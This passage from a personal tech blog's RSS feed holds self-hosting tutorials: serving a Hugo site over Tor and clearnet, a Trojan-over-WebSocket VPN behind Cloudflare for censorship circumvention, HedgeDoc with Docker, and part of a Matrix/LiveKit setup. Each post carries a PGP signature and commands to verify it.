    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
